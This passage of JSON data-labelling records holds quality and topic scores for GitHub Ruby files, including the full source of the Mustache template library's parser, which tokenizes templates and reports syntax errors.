"excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10724, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10724, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:29:11.434041+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "877f1a8e-3c98-4221-8157-66a6d0b1609e", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "d63ebad21902daf17ec34b08eeabc4851e7bc9703be1b3262d91a4b4e5d082ab", "source_metadata": {"uuid": "877f1a8e-3c98-4221-8157-66a6d0b1609e", "repo_name": "yamatakau08/myexcel", "relative_path": "sheet.rb", "category": "TOOL", "algo_rel_score": 0.6638540029525757, "quality_score": 3.7913103103637695, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 31, "repo_created_at": "2021-01-25T06:35:31.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "83b0979f6455887100162d22bf11f02c7dc2741c", "size_bytes": 7295, "file_timestamp": 1729845648, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "8375158cb9501c7c630666ea2383f962830fe87a"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 31, "repo_created_at": "2021-01-25T06:35:31.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "83b0979f6455887100162d22bf11f02c7dc2741c", "size_bytes": 7295, "file_timestamp": 1729845648, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "8375158cb9501c7c630666ea2383f962830fe87a", "url": "https://github.com/yamatakau08/myexcel/blob/8375158cb9501c7c630666ea2383f962830fe87a/sheet.rb"}, "gpt4o_tokens": 2151, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.7595689051251163, "noise_severity": 0.09419367766390255, "missing_content_severity": 0.05831203572990207, "factual_density": 3.4038425507174614, "pretraining_utility": 0.5197209292940344, "math_density": 0.7014574680161874, "code_density": 3.742796436731804, "reasoning_density": 0.5146425828419114, "education_level": 2.231370422888145, "creative_writing_quality": -0.15403397087513537}, "score_applicability": {"education_level": 0.9985856957096994, "creative_writing_quality": 0.0015580719566311203}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/mustache/mustache/blob/9fefaabd2b1e68ef8186a210af1f0e18ef48bb55/lib/mustache/parser.rb", "id": "ruby-0-86178a4f69bdaeb9b0b3e91a68ee3ad8", "text": "require 'strscan'\n\nclass Mustache\n # The Parser is responsible for taking a string template and\n # converting it into an array of tokens and, really, expressions. It\n # raises SyntaxError if there is anything it doesn't understand and\n # knows which sigil corresponds to which tag type.\n #\n # For example, given this template:\n #\n # Hi {{thing}}!\n #\n # Run through the Parser we'll get these tokens:\n #\n # [:multi,\n # [:static, \"Hi \"],\n # [:mustache, :etag, \"thing\"],\n # [:static, \"!\\n\"]]\n #\n # You can see the array of tokens for any template with the\n # mustache(1) command line tool:\n #\n # $ mustache --tokens test.mustache\n # [:multi, [:static, \"Hi \"], [:mustache, :etag, \"thing\"], [:static, \"!\\n\"]]\n class Parser\n # A SyntaxError is raised when the Parser comes across unclosed\n # tags, sections, illegal content in tags, or anything of that\n # sort.\n class SyntaxError < StandardError\n def initialize(message, position)\n @message = message\n @lineno, @column, @line, _ = position\n @stripped_line = @line.strip\n @stripped_column = @column - (@line.size - @line.lstrip.size)\n end\n\n def to_s\n <<-EOF\n#{@message}\n Line #{@lineno}\n #{@stripped_line}\n #{' ' * @stripped_column}^\nEOF\n end\n end\n\n # The sigil types which are valid after an opening `{{`\n VALID_TYPES = [ '#', '^', '/', '=', '!', '<', '>', '&', '{' ].map(&:freeze)\n\n def self.valid_types\n @valid_types ||= Regexp.new(VALID_TYPES.map { |t| Regexp.escape(t) }.join('|') )\n end\n\n # Add a supported sigil type (with optional aliases) to the Parser.\n #\n # Requires a block, which will be sent the following parameters:\n #\n # * content - The raw content of the tag\n # * fetch- A mustache context fetch expression for the content\n # * padding - Indentation whitespace from the currently-parsed line\n # * pre_match_position - Location of the scanner before a match was made\n #\n # The provided block will be evaluated against the current instance of\n # Parser, and may append to the Parser's @result as needed.\n def self.add_type(*types, &block)\n types = types.map(&:to_s)\n type, *aliases = types\n method_name = \"scan_tag_#{type}\".to_sym\n define_method(method_name, &block)\n aliases.each { |a| alias_method \"scan_tag_#{a}\", method_name }\n types.each { |t| VALID_TYPES << t unless VALID_TYPES.include?(t) }\n @valid_types = nil\n end\n\n # After these types of tags, all whitespace until the end of the line will\n # be skipped if they are the first (and only) non-whitespace content on\n # the line.\n SKIP_WHITESPACE = [ '#', '^', '/', '<', '>', '=', '!' ].map(&:freeze)\n\n # The content allowed in a tag name.\n ALLOWED_CONTENT = /(\\w|[?!\\/.-])*/\n\n # These types of tags allow any content,\n # the rest only allow ALLOWED_CONTENT.\n ANY_CONTENT = [ '!', '=' ].map(&:freeze)\n\n attr_reader :otag, :ctag\n\n # Accepts an options hash which does nothing but may be used in\n # the future.\n def initialize(options = {})\n @options = options\n @option_inline_partials_at_compile_time = options[:inline_partials_at_compile_time]\n if @option_inline_partials_at_compile_time\n @partial_resolver = options[:partial_resolver]\n raise ArgumentError.new \"Missing or invalid partial_resolver\" unless @partial_resolver.respond_to? :call\n end\n\n # Initialize default tags\n self.otag ||= '{{'\n self.ctag ||= '}}'\n end\n\n # The opening tag delimiter. This may be changed at runtime.\n def otag=(value)\n regex = regexp value\n @otag_regex = /([ \\t]*)?#{regex}/\n @otag_not_regex = /(^[ \\t]*)?#{regex}/\n @otag = value\n end\n\n # The closing tag delimiter. This too may be changed at runtime.\n def ctag=(value)\n @ctag_regex = regexp value\n @ctag = value\n end\n\n # Given a string template, returns an array of tokens.\n def compile(template)\n @encoding = nil\n\n if template.respond_to?(:encoding)\n @encoding = template.encoding\n template = template.dup.force_encoding(\"BINARY\")\n end\n\n # Keeps information about opened sections.\n @sections = []\n @result = [:multi]\n @scanner = StringScanner.new(template)\n\n # Scan until the end of the template.\n until @scanner.eos?\n scan_tags || scan_text\n end\n\n unless @sections.empty?\n # We have parsed the whole file, but there's still opened sections.\n type, pos, _ = @sections.pop\n error \"Unclosed section #{type.inspect}\", pos\n end\n\n @result\n end\n\n\n private\n\n\n def content_tags type, current_ctag_regex\n if ANY_CONTENT.include?(type)\n r = /\\s*#{regexp(type)}?#{current_ctag_regex}/\n scan_until_exclusive(r)\n else\n @scanner.scan(ALLOWED_CONTENT)\n end\n end\n\n def dispatch_based_on_type type, content, fetch, padding, pre_match_position\n send(\"scan_tag_#{type}\", content, fetch, padding, pre_match_position)\n end\n\n def find_closing_tag scanner, current_ctag_regex\n error \"Unclosed tag\" unless scanner.scan(current_ctag_regex)\n end\n\n # Find {{mustaches}} and add them to the @result array.\n def scan_tags\n # Scan until we hit an opening delimiter.\n start_of_line = @scanner.beginning_of_line?\n pre_match_position = @scanner.pos\n last_index = @result.length\n\n return unless @scanner.scan @otag_regex\n padding = @scanner[1] || ''\n\n # Don't touch the preceding whitespace unless we're matching the start\n # of a new line.\n unless start_of_line\n @result << [:static, padding] unless padding.empty?\n pre_match_position += padding.length\n padding = ''\n end\n\n # Since {{= rewrites ctag, we store the ctag which should be used\n # when parsing this specific tag.\n current_ctag_regex = @ctag_regex\n type = @scanner.scan(self.class.valid_types)\n @scanner.skip(/\\s*/)\n\n # ANY_CONTENT tags allow any character inside of them, while\n # other tags (such as variables) are more strict.\n content = content_tags(type, current_ctag_regex)\n\n # We found {{ but we can't figure out what's going on inside.\n error \"Illegal content in tag\" if content.empty?\n\n fetch = [:mustache, :fetch, content.split('.')]\n prev = @result\n\n dispatch_based_on_type(type, content, fetch, padding, pre_match_position)\n\n # The closing } in unescaped tags is just a hack for\n # aesthetics.\n type = \"}\" if type == \"{\"\n\n # Skip whitespace and any balancing sigils after the content\n # inside this tag.\n @scanner.skip(/\\s+/)\n @scanner.skip(regexp(type)) if type\n\n find_closing_tag(@scanner, current_ctag_regex)\n\n # If this tag was the only non-whitespace content on this line, strip\n # the remaining whitespace. If not, but we've been hanging on to padding\n # from the beginning of the line, re-insert the padding as static text.\n if start_of_line && !@scanner.eos?\n if @scanner.peek(2) =~ /\\r?\\n/ && SKIP_WHITESPACE.include?(type)\n @scanner.skip(/\\r?\\n/)\n else\n prev.insert(last_index, [:static, padding]) unless padding.empty?\n end\n end\n\n # Store off the current scanner position now that we've closed the tag\n # and consumed any irrelevant whitespace.\n @sections.last[1] << @scanner.pos unless @sections.empty?\n\n return unless @result == [:multi]\n end\n\n # Try to find static text, e.g. raw HTML with no {{mustaches}}.\n def scan_text\n text = scan_until_exclusive @otag_not_regex\n\n if text.nil?\n # Couldn't find any otag, which means the rest is just static text.\n text = @scanner.rest\n # Mark as done.\n @scanner.terminate\n end\n\n text.force_encoding(@encoding) if @encoding\n\n @result << [:static, text] unless text.empty?\n end\n\n # Scans the string until the pattern is matched. Returns the substring\n # *excluding* the end of the match, advancing the scan pointer to that\n # location. If there is no match, nil is returned.\n def scan_until_exclusive(regexp)\n pos = @scanner.pos\n if @scanner.scan_until(regexp)\n @scanner.pos -= @scanner.matched.size\n @scanner.pre_match[pos..-1]\n end\n end\n\n def offset\n position[0, 2]\n end\n\n # Returns [lineno, column, line]\n def position\n # The rest of the current line\n rest = @scanner.check_until(/\\n|\\Z/).to_s.chomp\n\n # What we have parsed so far\n parsed = @scanner.string[0...@scanner.pos]\n\n lines = parsed.split(\"\\n\")\n\n [ lines.size, lines.last.size - 1, lines.last + rest ]\n end\n\n # Used to quickly convert a string into a regular expression\n # usable by the string scanner.\n def regexp(thing)\n Regexp.new Regexp.escape(thing) if thing\n end\n\n # Raises a SyntaxError. The message should be the name of the\n # error - other details such as line number and position are\n # handled for you.\n def error(message, pos = position)\n raise SyntaxError.new(message, pos)\n end\n\n\n #\n # Scan tags\n #\n # These methods are called in `scan_tags`. Because they contain nonstandard\n # characters in their method names, they are aliased to\n # better named methods.\n #\n\n\n # This function handles the cases where the scanned tag does not have\n # a type.\n def scan_tag_ content, fetch, padding, pre_match_position\n @result << [:mustache, :etag, fetch, offset]\n end\n\n\n def scan_tag_block content, fetch, padding, pre_match_position\n block = [:multi]\n @result << [:mustache, :section, fetch, offset, block]\n @sections << [content, position, @result]\n @result = block\n end\n alias_method :'scan_tag_#', :scan_tag_block\n\n\n def scan_tag_inverted content, fetch, padding, pre_match_position\n block = [:multi]\n @result << [:mustache, :inverted_section, fetch, offset, block]\n @sections << [content, position, @result]\n @result = block\n end\n alias_method :'scan_tag_^', :scan_tag_inverted\n\n\n def scan_tag_close content, fetch, padding, pre_match_position\n section, pos, result = @sections.pop\n if section.nil?\n error \"Closing unopened #{content.inspect}\"\n end\n\n raw = @scanner.pre_match[pos[3]...pre_match_position] + padding\n (@result = result).last << raw << [self.otag, self.ctag]\n\n if section != content\n error \"Unclosed section #{section.inspect}\", pos\n end\n end\n alias_method :'scan_tag_/', :scan_tag_close\n\n\n def scan_tag_comment content, fetch, padding, pre_match_position\n end\n alias_method :'scan_tag_!', :scan_tag_comment\n\n\n def scan_tag_delimiter content, fetch, padding, pre_match_position\n self.otag, self.ctag = content.split(' ', 2)\n end\n alias_method :'scan_tag_=', :scan_tag_delimiter\n\n\n def scan_tag_open_partial content, fetch, padding, pre_match_position\n @result << if @option_inline_partials_at_compile_time\n partial = @partial_resolver.call content\n partial.gsub!(/^/, padding) unless padding.empty?\n self.class.new(@options).compile partial\n else\n [:mustache, :partial, content, offset, padding]\n end\n end\n alias_method :'scan_tag_<', :scan_tag_open_partial\n alias_method :'scan_tag_>', :scan_tag_open_partial\n\n\n def scan_tag_unescaped content, fetch, padding, pre_match_position\n @result << [:mustache, :utag, fetch, offset]\n end\n alias_method :'scan_tag_{', :'scan_tag_unescaped'\n alias_method :'scan_tag_&', :'scan_tag_unescaped'\n\n end\nend\n", "text_preview": "require 'strscan' class Mustache # The Parser is responsible for taking a string template and # converting it into an array of tokens and, really, expressions. It # raises SyntaxError if there is anything it doesn't understand and # knows w", "input_sha256": "f230f38e30864b56ae3fa492c1279c50418cc3fb4e0129f5e281847eb03013cf", "text_sha256": "86178a4f69bdaeb9b0b3e91a68ee3ad8414131dd3683a2f94b504fc5f5a6680f", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16008, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.2672211580663255, "noise_severity": 0.013001547369751853, "missing_content_severity": 0.0052708656760756985, "factual_density": 3.497651285877249, "pretraining_utility": 0.7003417619376533, "math_density": 0.04889249789984525, "code_density": 3.753726562219553, "reasoning_density": 0.9779294209326297, "education_level": 2.3376847737715583, "creative_writing_quality": -0.0947585465950106}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.009584480958501836, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9980318995639751, "secondary": 0.9488225128742979, "tertiary": 0.9575235861567167, "structured_records": 0.008608919821339637, "procedural_steps": 0.02141862350114871, "worked_solution": 0.11330546904108896, "contextual_dialogue": 4.954494605374488e-06, "content_quality": 0.5633171078695212, "noise_severity": 0.9891653771918735, "missing_content_severity": 0.9956076119366036, "factual_density": 0.5813760715643737, "pretraining_utility": 0.5581624907926039, "math_density": 0.959256251750129, "code_density": 0.794772135182961, "reasoning_density": 0.18505881588947537, "education_level": 0.6100436506589312, "creative_writing_quality": 0.9992819521014344, "primary_topic": 0.9925273154640667, "secondary_topic": 0.964098256428366}, "probability_margin": {"primary": 0.9972471371281152, "secondary": 0.9238063527065622, "tertiary": 0.9417293622273821, "education_level": 0.4038335397568988, "creative_writing_quality": 0.9991367903672607, "primary_topic": 0.9889404180576193, "secondary_topic": 0.9539901252260189}, "raw_probabilities": {"primary": {"Academic Writing": 2.301150167229625e-05, "Content Listing": 1.1963203590819134e-05, "Creative Writing": 9.941926007268568e-06, "Customer Support Page": 1.0500721548120577e-05, "Q&A Forum": 6.844000812863804e-06, "Discussion Thread": 4.290310533409624e-06, "Comment Section": 9.385692854534671e-06, "Missing Content": 1.7410600331987505e-05, "Knowledge Article": 0.00016193084744954935, "Legal Notices": 2.6711838724587306e-05, "News Article": 2.606956619219584e-06, "Organizational Announcement": 6.937036012618403e-06, "Nonfiction Writing": 7.661073305204612e-06, "Organizational About Page": 8.219092682666577e-06, "Personal About Page": 5.688981983112598e-06, "Personal Blog": 4.492068756433483e-06, "Product Page": 5.13133903680726e-06, "Spam / Ads": 5.27556690443897e-06, "Structured Data": 0.00046511806433443057, "Technical Writing": 0.9981139037488095, "Transcript / Interview": 9.92602427604945e-06, "Tutorial / How-To Guide": 0.000211868504500991, "User Reviews": 4.414278558905419e-06, "Other / Unknown": 0.0008667666206943098}, "secondary": {"Academic Writing": 0.00023779618514218126, "Content Listing": 0.0001373678152080928, "Creative Writing": 0.00021888099923567152, "Customer Support Page": 0.0001971521825295422, "Q&A Forum": 8.829691010597334e-05, "Discussion Thread": 6.498097466574312e-05, "Comment Section": 0.0002103745851087508, "Missing Content": 0.00035291474979014074, "Knowledge Article": 0.003945940339844886, "Legal Notices": 0.0002718656222861662, "News Article": 0.00010236097735077757, "Organizational Announcement": 0.00011160604439047302, "Nonfiction Writing": 0.0001468191266676906, "Organizational About Page": 0.00012718017084558533, "Personal About Page": 9.832273262588098e-05, "Personal Blog": 9.774173560164984e-05, "Product Page": 7.523213206285433e-05, "Spam / Ads": 0.00010221158292425719, "Structured Data": 0.0036377507761941375, "Technical Writing": 0.02714855546463989, "Transcript / Interview": 0.0001654180679590909, "Tutorial / How-To Guide": 0.011452527361694146, "User Reviews": 5.379529192420476e-05, "NONE": 0.9509549081712021}, "tertiary": {"Academic Writing": 0.0001851729759384393, "Content Listing": 0.00012750599838687703, "Creative Writing": 0.00017444748655424152, "Customer Support Page": 0.0001839328608013958, "Q&A Forum": 6.186169080403638e-05, "Discussion Thread": 4.237881509461164e-05, "Comment Section": 0.00018188847801134042, "Missing Content": 0.0003244217009419899, "Knowledge Article": 0.0029996478769064713, "Legal Notices": 0.0002966628297281964, "News Article": 6.55122684740512e-05, "Organizational Announcement": 8.15879991397647e-05, "Nonfiction Writing": 0.0001137816595527494, "Organizational About Page": 0.00011396497303350069, "Personal About Page": 6.0672149299288404e-05, "Personal Blog": 6.733533463205631e-05, "Product Page": 5.449155449424523e-05, "Spam / Ads": 8.563920170663895e-05, "Structured Data": 0.003149755843279003, "Technical Writing": 0.017564074506138054, "Transcript / Interview": 0.00010813014911862479, "Tutorial / How-To Guide": 0.01462464565710853, "User Reviews": 3.905125733564531e-05, "NONE": 0.9592934367335202}, "structured_records": {"false": 0.9913910801786604, "true": 0.008608919821339637}, "procedural_steps": {"false": 0.9785813764988512, "true": 0.02141862350114871}, "worked_solution": {"false": 0.886694530958911, "true": 0.11330546904108896}, "contextual_dialogue": {"false": 0.9999950455053946, "true": 4.954494605374488e-06}, "content_quality": {"-2": 0.002738620763381365, "-1": 0.007066711582851636, "0": 0.10604987078927712, "1": 0.4885244825530399, "2": 0.39562031431145}, "noise_severity": {"0": 0.9890690705576085, "1": 0.009555907976385983, "2": 0.0008763655798268581, "3": 0.00030171531100185007, "4": 0.00019694057517665012}, "missing_content_severity": {"0": 0.9969226680019596, "1": 0.0015122961995831376, "2": 0.001031712027671303, "3": 0.0004381496619941495, "4": 9.51741087918766e-05}, "factual_density": {"0": 0.00242309861750518, "1": 0.006555403931827022, "2": 0.06565452097428946, "3": 0.3416810659086708, "4": 0.5836859105677075}, "pretraining_utility": {"-2": 0.006438722777351002, "-1": 0.0439365291094521, "0": 0.3077423980046538, "1": 0.5266089636152789, "2": 0.11527338649326424}, "math_density": {"0": 0.9729494163813507, "1": 0.01772851965592063, "2": 0.002075752818456134, "3": 0.001972771970077333, "4": 0.005273539174195086}, "code_density": {"0": 0.0003715876396002574, "1": 0.0008568117448630421, "2": 0.025212896487890796, "3": 0.1917908590116751, "4": 0.7817678451159707}, "reasoning_density": {"0": 0.5834879867055425, "1": 0.13229826317873689, "2": 0.1074562250244595, "3": 0.07631139266007092, "4": 0.10044613243119024}, "education_level": {"none": 0.0008010706261416605, "0": 0.0012205837918824287, "1": 0.011608557423787837, "2": 0.6750363755491093, "3": 0.27120283579221055, "4": 0.04013057681686822}, "creative_writing_quality": {"not_applicable": 0.9994016267511954, "-2": 6.577908110804028e-05, "-1": 0.0001178233163352229, "0": 0.0002648363839346544, "1": 0.0001071884356804804, "2": 4.27460317463741e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.742247752473312e-05, "Art & Design": 4.536307738180528e-05, "Law & Crime": 3.118949691717915e-05, "Education & Careers": 2.8209371632923315e-05, "Entertainment & Media": 2.0170050032654643e-05, "Fashion & Beauty": 1.4302577597631389e-05, "Business, Economics & Finance": 2.9585886340747076e-05, "Food & Dining": 1.7631530276683574e-05, "Games & Gaming": 3.690806866257292e-05, "Electronics & Hardware": 5.4326160546268596e-05, "Health, Healthcare & Wellness": 1.61805197782185e-05, "History & Geography": 2.4889840311352973e-05, "Home, Pets & Hobbies": 2.0633969442522956e-05, "Industry & Production": 2.4236547565681693e-05, "Language, Literature & Philosophy": 0.0017704565736012636, "Politics & Government": 1.504938867655243e-05, "Religion & Spirituality": 2.425771746505733e-05, "Science, Mathematics & Engineering": 0.0038743083501371713, "Relationships & Community": 1.3013433190040488e-05, "Software Usage & Applications": 0.0007619077142915648, "Programming & Software Engineering": 0.9928147264077565, "Sports & Fitness": 3.1595106700315126e-05, "Vehicles & Transportation": 1.4838977344430134e-05, "Travel & Tourism": 3.0979466632775385e-05, "Other / Uncovered Subject": 0.0002104838457483632, "Unknown / Insufficient Content": 4.7333444444769876e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.000246085159810251, "Art & Design": 0.0002238264518353213, "Law & Crime": 0.0002081560963080494, "Education & Careers": 0.0001534641163547192, "Entertainment & Media": 0.000143526308971219, "Fashion & Beauty": 6.65247522515079e-05, "Business, Economics & Finance": 0.00017735823056619728, "Food & Dining": 6.599131709047581e-05, "Games & Gaming": 0.00012423447264055276, "Electronics & Hardware": 0.00017292256726784906, "Health, Healthcare & Wellness": 7.84467862693738e-05, "History & Geography": 9.668177499622975e-05, "Home, Pets & Hobbies": 6.7274078402647e-05, "Industry & Production": 6.432684885926759e-05, "Language, Literature & Philosophy": 0.006407203335893982, "Politics & Government": 8.677175007322723e-05, "Religion & Spirituality": 0.00011355007951485767, "Science, Mathematics & Engineering": 0.0114889674935638, "Relationships & Community": 5.357253966587579e-05, "Software Usage & Applications": 0.0024080255018786995, "Programming & Software Engineering": 0.011428819630788786, "Sports & Fitness": 7.316027343716149e-05, "Vehicles & Transportation": 3.688761205627371e-05, "Travel & Tourism": 0.00012493183641406225, "Other / Uncovered Subject": 0.0004101982655070021, "NONE": 0.9654790927195827}}, "probabilities": {"primary": {"Academic Writing": 2.301150167229625e-05, "Content Listing": 1.1963203590819134e-05, "Creative Writing": 9.941926007268568e-06, "Customer Support Page": 1.0500721548120577e-05, "Q&A Forum": 6.844000812863804e-06, "Discussion Thread": 4.290310533409624e-06, "Comment Section": 9.385692854534671e-06, "Missing Content": 1.7410600331987505e-05, "Knowledge Article": 0.00016193084744954935, "Legal Notices": 2.6711838724587306e-05, "News Article": 2.606956619219584e-06, "Organizational Announcement": 6.937036012618403e-06, "Nonfiction Writing": 7.661073305204612e-06, "Organizational About Page": 8.219092682666577e-06, "Personal About Page": 5.688981983112598e-06, "Personal Blog": 4.492068756433483e-06, "Product Page": 5.13133903680726e-06, "Spam / Ads": 5.27556690443897e-06, "Structured Data": 0.00046511806433443057, "Technical Writing": 0.9981139037488095, "Transcript / Interview": 9.92602427604945e-06, "Tutorial / How-To Guide": 0.000211868504500991, "User Reviews": 4.414278558905419e-06, "Other / Unknown": 0.0008667666206943098}, "secondary": {"Academic Writing": 0.0002377961851421813, "Content Listing": 0.00013736781520809282, "Creative Writing": 0.00021888099923567155, "Customer Support Page": 0.00019715218252954223, "Q&A Forum": 8.829691010597335e-05, "Discussion Thread": 6.498097466574314e-05, "Comment Section": 0.00021037458510875083, "Missing Content": 0.0003529147497901408, "Knowledge Article": 0.003945940339844887, "Legal Notices": 0.00027186562228616627, "News Article": 0.00010236097735077758, "Organizational Announcement": 0.00011160604439047303, "Nonfiction Writing": 0.00014681912666769062, "Organizational About Page": 0.00012718017084558536, "Personal About Page": 9.8322732625881e-05, "Personal Blog": 9.774173560164985e-05, "Product Page": 7.523213206285435e-05, "Spam / Ads": 0.0001022115829242572, "Structured Data": 0.003637750776194138, "Technical Writing": 0.027148555464639894, "Transcript / Interview": 0.00016541806795909093, "Tutorial / How-To Guide": 0.011452527361694147, "User Reviews": 5.379529192420477e-05, "NONE": 0.9509549081712022}, "tertiary": {"Academic Writing": 0.00018517297593843932, "Content Listing": 0.00012750599838687706, "Creative Writing": 0.00017444748655424155, "Customer Support Page": 0.00018393286080139583, "Q&A Forum": 6.186169080403639e-05, "Discussion Thread": 4.2378815094611645e-05, "Comment Section": 0.00018188847801134045, "Missing Content": 0.00032442170094199, "Knowledge Article": 0.0029996478769064717, "Legal Notices": 0.00029666282972819647, "News Article": 6.551226847405121e-05, "Organizational Announcement": 8.158799913976471e-05, "Nonfiction Writing": 0.00011378165955274941, "Organizational About Page": 0.0001139649730335007, "Personal About Page": 6.067214929928841e-05, "Personal Blog": 6.733533463205632e-05, "Product Page": 5.4491554494245235e-05, "Spam / Ads": 8.563920170663897e-05, "Structured Data": 0.0031497558432790032, "Technical Writing": 0.017564074506138058, "Transcript / Interview": 0.0001081301491186248, "Tutorial / How-To Guide": 0.014624645657108531, "User Reviews": 3.9051257335645315e-05, "NONE": 0.9592934367335203}, "structured_records": {"false": 0.9913910801786604, "true": 0.008608919821339637}, "procedural_steps": {"false": 0.9785813764988512, "true": 0.02141862350114871}, "worked_solution": {"false": 0.886694530958911, "true": 0.11330546904108896}, "contextual_dialogue": {"false": 0.9999950455053946, "true": 4.954494605374488e-06}, "content_quality": {"-2": 0.002738620763381365, "-1": 0.007066711582851636, "0": 0.10604987078927712, "1": 0.4885244825530399, "2": 0.39562031431145}, "noise_severity": {"0": 0.9890690705576086, "1": 0.009555907976385985, "2": 0.0008763655798268582, "3": 0.0003017153110018501, "4": 0.00019694057517665015}, "missing_content_severity": {"0": 0.9969226680019596, "1": 0.0015122961995831376, "2": 0.001031712027671303, "3": 0.0004381496619941495, "4": 9.51741087918766e-05}, "factual_density": {"0": 0.0024230986175051805, "1": 0.006555403931827023, "2": 0.06565452097428948, "3": 0.34168106590867087, "4": 0.5836859105677076}, "pretraining_utility": {"-2": 0.006438722777351002, "-1": 0.0439365291094521, "0": 0.3077423980046538, "1": 0.5266089636152789, "2": 0.11527338649326424}, "math_density": {"0": 0.9729494163813508, "1": 0.017728519655920632, "2": 0.0020757528184561346, "3": 0.0019727719700773335, "4": 0.005273539174195087}, "code_density": {"0": 0.0003715876396002574, "1": 0.0008568117448630421, "2": 0.025212896487890796, "3": 0.1917908590116751, "4": 0.7817678451159707}, "reasoning_density": {"0": 0.5834879867055425, "1": 0.13229826317873689, "2": 0.1074562250244595, "3": 0.07631139266007092, "4": 0.10044613243119024}, "education_level": {"none": 0.0008010706261416605, "0": 0.0012205837918824287, "1": 0.011608557423787837, "2": 0.6750363755491093, "3": 0.27120283579221055, "4": 0.04013057681686822}, "creative_writing_quality": {"not_applicable": 0.9994016267511951, "-2": 6.577908110804027e-05, "-1": 0.00011782331633522287, "0": 0.00026483638393465437, "1": 0.00010718843568048037, "2": 4.274603174637409e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.7422477524733127e-05, "Art & Design": 4.536307738180529e-05, "Law & Crime": 3.118949691717916e-05, "Education & Careers": 2.8209371632923322e-05, "Entertainment & Media": 2.0170050032654647e-05, "Fashion & Beauty": 1.4302577597631392e-05, "Business, Economics & Finance": 2.9585886340747083e-05, "Food & Dining": 1.7631530276683577e-05, "Games & Gaming": 3.690806866257293e-05, "Electronics & Hardware": 5.432616054626861e-05, "Health, Healthcare & Wellness": 1.6180519778218504e-05, "History & Geography": 2.488984031135298e-05, "Home, Pets & Hobbies": 2.063396944252296e-05, "Industry & Production": 2.42365475656817e-05, "Language, Literature & Philosophy": 0.001770456573601264, "Politics & Government": 1.5049388676552433e-05, "Religion & Spirituality": 2.4257717465057337e-05, "Science, Mathematics & Engineering": 0.003874308350137172, "Relationships & Community": 1.3013433190040492e-05, "Software Usage & Applications": 0.0007619077142915651, "Programming & Software Engineering": 0.9928147264077567, "Sports & Fitness": 3.159510670031513e-05, "Vehicles & Transportation": 1.4838977344430137e-05, "Travel & Tourism": 3.097946663277539e-05, "Other / Uncovered Subject": 0.00021048384574836327, "Unknown / Insufficient Content": 4.733344444476989e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.000246085159810251, "Art & Design": 0.0002238264518353213, "Law & Crime": 0.0002081560963080494, "Education & Careers": 0.0001534641163547192, "Entertainment & Media": 0.000143526308971219, "Fashion & Beauty": 6.65247522515079e-05, "Business, Economics & Finance": 0.00017735823056619728, "Food & Dining": 6.599131709047581e-05, "Games & Gaming": 0.00012423447264055276, "Electronics & Hardware": 0.00017292256726784906, "Health, Healthcare & Wellness": 7.84467862693738e-05, "History & Geography": 9.668177499622975e-05, "Home, Pets & Hobbies": 6.7274078402647e-05, "Industry & Production": 6.432684885926759e-05, "Language, Literature & Philosophy": 0.006407203335893982, "Politics & Government": 8.677175007322723e-05, "Religion & Spirituality": 0.00011355007951485767, "Science, Mathematics & Engineering": 0.0114889674935638, "Relationships & Community": 5.357253966587579e-05, "Software Usage & Applications": 0.0024080255018786995, "Programming & Software Engineering": 0.011428819630788786, "Sports & Fitness": 7.316027343716149e-05, "Vehicles & Transportation": 3.688761205627371e-05, "Travel & Tourism": 0.00012493183641406225, "Other / Uncovered Subject": 0.0004101982655070021, "NONE": 